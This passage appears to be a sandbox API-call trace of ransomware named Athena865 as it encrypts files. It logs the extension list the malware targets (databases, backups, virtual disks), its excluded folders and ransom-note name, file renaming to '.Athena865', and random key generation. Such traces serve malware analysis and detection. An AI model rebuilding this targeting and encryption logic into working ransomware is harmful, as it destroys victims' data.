(lpString="vdi") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0073.820] lstrlenW (lpString="vhd") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0073.820] lstrlenW (lpString="vhdx") returned 4 [0073.820] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0073.820] lstrlenW (lpString="avhd") returned 4 [0073.820] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0073.820] lstrlenW (lpString="db") returned 2 [0073.820] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0073.820] lstrlenW (lpString="db2") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0073.820] lstrlenW (lpString="db3") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0073.820] lstrlenW (lpString="dbf") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0073.820] lstrlenW (lpString="mdf") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0073.820] lstrlenW (lpString="mdb") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0073.820] lstrlenW (lpString="sql") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0073.820] lstrlenW (lpString="sqlite") returned 6 [0073.820] lstrcmpiW (lpString1="MV.XML", lpString2="sqlite") returned -1 [0073.820] lstrlenW (lpString="sqlite3") returned 7 [0073.820] lstrcmpiW (lpString1="RMV.XML", lpString2="sqlite3") returned -1 [0073.820] lstrlenW (lpString="sqlitedb") returned 8 [0073.820] lstrcmpiW (lpString1="IRMV.XML", lpString2="sqlitedb") returned -1 [0073.820] lstrlenW (lpString="xml") returned 3 [0073.820] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0073.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.Athena865") returned 63 [0073.820] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.athena865"), dwFlags=0x1) returned 1 [0073.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.822] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79268) returned 1 [0073.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.823] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.823] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.823] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138b0, lpName=0x0) returned 0x17c [0073.825] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138b0) returned 0x100000 [0073.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.830] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.830] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.830] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0073.831] CloseHandle (hObject=0x17c) returned 1 [0073.831] CloseHandle (hObject=0x154) returned 1 [0073.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.832] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2=".") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="..") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="windows") returned -1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="bootmgr") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="temp") returned -1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="pagefile.sys") returned -1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="boot") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="ids.txt") returned 1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="ntuser.dat") returned -1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="perflogs") returned -1 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2="MSBuild") returned -1 [0073.832] lstrlenW (lpString="IPOLK.DLL") returned 9 [0073.832] lstrcpyW (in: lpString1=0x241e89e, lpString2="IPOLK.DLL" | out: lpString1="IPOLK.DLL") returned="IPOLK.DLL" [0073.832] lstrlenW (lpString="IPOLK.DLL") returned 9 [0073.832] lstrlenW (lpString="Athena865") returned 9 [0073.832] lstrlenW (lpString=".dll") returned 4 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2=".dll") returned 1 [0073.832] lstrlenW (lpString=".lnk") returned 4 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2=".lnk") returned 1 [0073.832] lstrlenW (lpString=".ini") returned 4 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2=".ini") returned 1 [0073.832] lstrlenW (lpString=".sys") returned 4 [0073.832] lstrcmpiW (lpString1="IPOLK.DLL", lpString2=".sys") returned 1 [0073.832] lstrlenW (lpString="IPOLK.DLL") returned 9 [0073.832] lstrlenW (lpString="bak") returned 3 [0073.832] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0073.832] lstrlenW (lpString="ba_") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0073.833] lstrlenW (lpString="dbb") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0073.833] lstrlenW (lpString="vmdk") returned 4 [0073.833] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0073.833] lstrlenW (lpString="rar") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0073.833] lstrlenW (lpString="zip") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0073.833] lstrlenW (lpString="tgz") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0073.833] lstrlenW (lpString="vbox") returned 4 [0073.833] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0073.833] lstrlenW (lpString="vdi") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0073.833] lstrlenW (lpString="vhd") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0073.833] lstrlenW (lpString="vhdx") returned 4 [0073.833] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0073.833] lstrlenW (lpString="avhd") returned 4 [0073.833] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0073.833] lstrlenW (lpString="db") returned 2 [0073.833] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0073.833] lstrlenW (lpString="db2") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0073.833] lstrlenW (lpString="db3") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0073.833] lstrlenW (lpString="dbf") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0073.833] lstrlenW (lpString="mdf") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0073.833] lstrlenW (lpString="mdb") returned 3 [0073.833] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0073.833] lstrlenW (lpString="sql") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0073.834] lstrlenW (lpString="sqlite") returned 6 [0073.834] lstrcmpiW (lpString1="LK.DLL", lpString2="sqlite") returned -1 [0073.834] lstrlenW (lpString="sqlite3") returned 7 [0073.834] lstrcmpiW (lpString1="OLK.DLL", lpString2="sqlite3") returned -1 [0073.834] lstrlenW (lpString="sqlitedb") returned 8 [0073.834] lstrcmpiW (lpString1="POLK.DLL", lpString2="sqlitedb") returned -1 [0073.834] lstrlenW (lpString="xml") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0073.834] lstrlenW (lpString="$er") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0073.834] lstrlenW (lpString="4dd") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0073.834] lstrlenW (lpString="4dl") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0073.834] lstrlenW (lpString="^^^") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0073.834] lstrlenW (lpString="abs") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0073.834] lstrlenW (lpString="abx") returned 3 [0073.834] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0073.834] lstrlenW (lpString="accdb") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accdb") returned 1 [0073.834] lstrlenW (lpString="accdc") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accdc") returned 1 [0073.834] lstrlenW (lpString="accde") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accde") returned 1 [0073.834] lstrlenW (lpString="accdr") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accdr") returned 1 [0073.834] lstrlenW (lpString="accdt") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accdt") returned 1 [0073.834] lstrlenW (lpString="accdw") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accdw") returned 1 [0073.834] lstrlenW (lpString="accft") returned 5 [0073.834] lstrcmpiW (lpString1="K.DLL", lpString2="accft") returned 1 [0073.835] lstrlenW (lpString="adb") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0073.835] lstrlenW (lpString="adb") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0073.835] lstrlenW (lpString="ade") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0073.835] lstrlenW (lpString="adf") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0073.835] lstrlenW (lpString="adn") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0073.835] lstrlenW (lpString="adp") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0073.835] lstrlenW (lpString="alf") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0073.835] lstrlenW (lpString="ask") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0073.835] lstrlenW (lpString="btr") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0073.835] lstrlenW (lpString="cat") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0073.835] lstrlenW (lpString="cdb") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0073.835] lstrlenW (lpString="ckp") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0073.835] lstrlenW (lpString="cma") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0073.835] lstrlenW (lpString="cpd") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0073.835] lstrlenW (lpString="dacpac") returned 6 [0073.835] lstrcmpiW (lpString1="LK.DLL", lpString2="dacpac") returned 1 [0073.835] lstrlenW (lpString="dad") returned 3 [0073.835] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0073.835] lstrlenW (lpString="dadiagrams") returned 10 [0073.835] lstrlenW (lpString="daschema") returned 8 [0073.835] lstrcmpiW (lpString1="POLK.DLL", lpString2="daschema") returned 1 [0073.836] lstrlenW (lpString="db-journal") returned 10 [0073.836] lstrlenW (lpString="db-shm") returned 6 [0073.836] lstrcmpiW (lpString1="LK.DLL", lpString2="db-shm") returned 1 [0073.836] lstrlenW (lpString="db-wal") returned 6 [0073.836] lstrcmpiW (lpString1="LK.DLL", lpString2="db-wal") returned 1 [0073.836] lstrlenW (lpString="dbc") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0073.836] lstrlenW (lpString="dbs") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0073.836] lstrlenW (lpString="dbt") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0073.836] lstrlenW (lpString="dbv") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0073.836] lstrlenW (lpString="dbx") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0073.836] lstrlenW (lpString="dcb") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0073.836] lstrlenW (lpString="dct") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0073.836] lstrlenW (lpString="dcx") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0073.836] lstrlenW (lpString="ddl") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0073.836] lstrlenW (lpString="dlis") returned 4 [0073.836] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0073.836] lstrlenW (lpString="dp1") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0073.836] lstrlenW (lpString="dqy") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0073.836] lstrlenW (lpString="dsk") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0073.836] lstrlenW (lpString="dsn") returned 3 [0073.836] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0073.836] lstrlenW (lpString="dtsx") returned 4 [0073.837] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0073.837] lstrlenW (lpString="dxl") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0073.837] lstrlenW (lpString="eco") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0073.837] lstrlenW (lpString="ecx") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0073.837] lstrlenW (lpString="edb") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0073.837] lstrlenW (lpString="epim") returned 4 [0073.837] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0073.837] lstrlenW (lpString="fcd") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0073.837] lstrlenW (lpString="fdb") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0073.837] lstrlenW (lpString="fic") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0073.837] lstrlenW (lpString="flexolibrary") returned 12 [0073.837] lstrlenW (lpString="fm5") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0073.837] lstrlenW (lpString="fmp") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0073.837] lstrlenW (lpString="fmp12") returned 5 [0073.837] lstrcmpiW (lpString1="K.DLL", lpString2="fmp12") returned 1 [0073.837] lstrlenW (lpString="fmpsl") returned 5 [0073.837] lstrcmpiW (lpString1="K.DLL", lpString2="fmpsl") returned 1 [0073.837] lstrlenW (lpString="fol") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0073.837] lstrlenW (lpString="fp3") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0073.837] lstrlenW (lpString="fp4") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0073.837] lstrlenW (lpString="fp5") returned 3 [0073.837] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0073.837] lstrlenW (lpString="fp7") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0073.838] lstrlenW (lpString="fpt") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0073.838] lstrlenW (lpString="frm") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0073.838] lstrlenW (lpString="gdb") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0073.838] lstrlenW (lpString="gdb") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0073.838] lstrlenW (lpString="grdb") returned 4 [0073.838] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0073.838] lstrlenW (lpString="gwi") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0073.838] lstrlenW (lpString="hdb") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0073.838] lstrlenW (lpString="his") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0073.838] lstrlenW (lpString="ib") returned 2 [0073.838] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0073.838] lstrlenW (lpString="idb") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0073.838] lstrlenW (lpString="ihx") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0073.838] lstrlenW (lpString="itdb") returned 4 [0073.838] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0073.838] lstrlenW (lpString="itw") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0073.838] lstrlenW (lpString="jet") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0073.838] lstrlenW (lpString="jtx") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0073.838] lstrlenW (lpString="kdb") returned 3 [0073.838] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0073.838] lstrlenW (lpString="kexi") returned 4 [0073.839] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0073.839] lstrlenW (lpString="kexic") returned 5 [0073.839] lstrcmpiW (lpString1="K.DLL", lpString2="kexic") returned -1 [0073.839] lstrlenW (lpString="kexis") returned 5 [0073.839] lstrcmpiW (lpString1="K.DLL", lpString2="kexis") returned -1 [0073.839] lstrlenW (lpString="lgc") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0073.839] lstrlenW (lpString="lwx") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0073.839] lstrlenW (lpString="maf") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0073.839] lstrlenW (lpString="maq") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0073.839] lstrlenW (lpString="mar") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0073.839] lstrlenW (lpString="marshal") returned 7 [0073.839] lstrcmpiW (lpString1="OLK.DLL", lpString2="marshal") returned 1 [0073.839] lstrlenW (lpString="mas") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0073.839] lstrlenW (lpString="mav") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0073.839] lstrlenW (lpString="maw") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0073.839] lstrlenW (lpString="mdbhtml") returned 7 [0073.839] lstrcmpiW (lpString1="OLK.DLL", lpString2="mdbhtml") returned 1 [0073.839] lstrlenW (lpString="mdn") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0073.839] lstrlenW (lpString="mdt") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0073.839] lstrlenW (lpString="mfd") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0073.839] lstrlenW (lpString="mpd") returned 3 [0073.839] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0073.839] lstrlenW (lpString="mrg") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0073.840] lstrlenW (lpString="mud") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0073.840] lstrlenW (lpString="mwb") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0073.840] lstrlenW (lpString="myd") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0073.840] lstrlenW (lpString="ndf") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0073.840] lstrlenW (lpString="nnt") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0073.840] lstrlenW (lpString="nrmlib") returned 6 [0073.840] lstrcmpiW (lpString1="LK.DLL", lpString2="nrmlib") returned -1 [0073.840] lstrlenW (lpString="ns2") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0073.840] lstrlenW (lpString="ns3") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0073.840] lstrlenW (lpString="ns4") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0073.840] lstrlenW (lpString="nsf") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0073.840] lstrlenW (lpString="nv") returned 2 [0073.840] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0073.840] lstrlenW (lpString="nv2") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0073.840] lstrlenW (lpString="nwdb") returned 4 [0073.840] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0073.840] lstrlenW (lpString="nyf") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0073.840] lstrlenW (lpString="odb") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0073.840] lstrlenW (lpString="odb") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0073.840] lstrlenW (lpString="oqy") returned 3 [0073.840] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0073.841] lstrlenW (lpString="ora") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0073.841] lstrlenW (lpString="orx") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0073.841] lstrlenW (lpString="owc") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0073.841] lstrlenW (lpString="p96") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0073.841] lstrlenW (lpString="p97") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0073.841] lstrlenW (lpString="pan") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0073.841] lstrlenW (lpString="pdb") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0073.841] lstrlenW (lpString="pdm") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0073.841] lstrlenW (lpString="pnz") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0073.841] lstrlenW (lpString="qry") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0073.841] lstrlenW (lpString="qvd") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0073.841] lstrlenW (lpString="rbf") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0073.841] lstrlenW (lpString="rctd") returned 4 [0073.841] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0073.841] lstrlenW (lpString="rod") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0073.841] lstrlenW (lpString="rodx") returned 4 [0073.841] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0073.841] lstrlenW (lpString="rpd") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0073.841] lstrlenW (lpString="rsd") returned 3 [0073.841] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0073.842] lstrlenW (lpString="sas7bdat") returned 8 [0073.842] lstrcmpiW (lpString1="POLK.DLL", lpString2="sas7bdat") returned -1 [0073.842] lstrlenW (lpString="sbf") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0073.842] lstrlenW (lpString="scx") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0073.842] lstrlenW (lpString="sdb") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0073.842] lstrlenW (lpString="sdc") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0073.842] lstrlenW (lpString="sdf") returned 3 [0073.842] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0073.842] lstrlenW (lpString="sis") returned 3 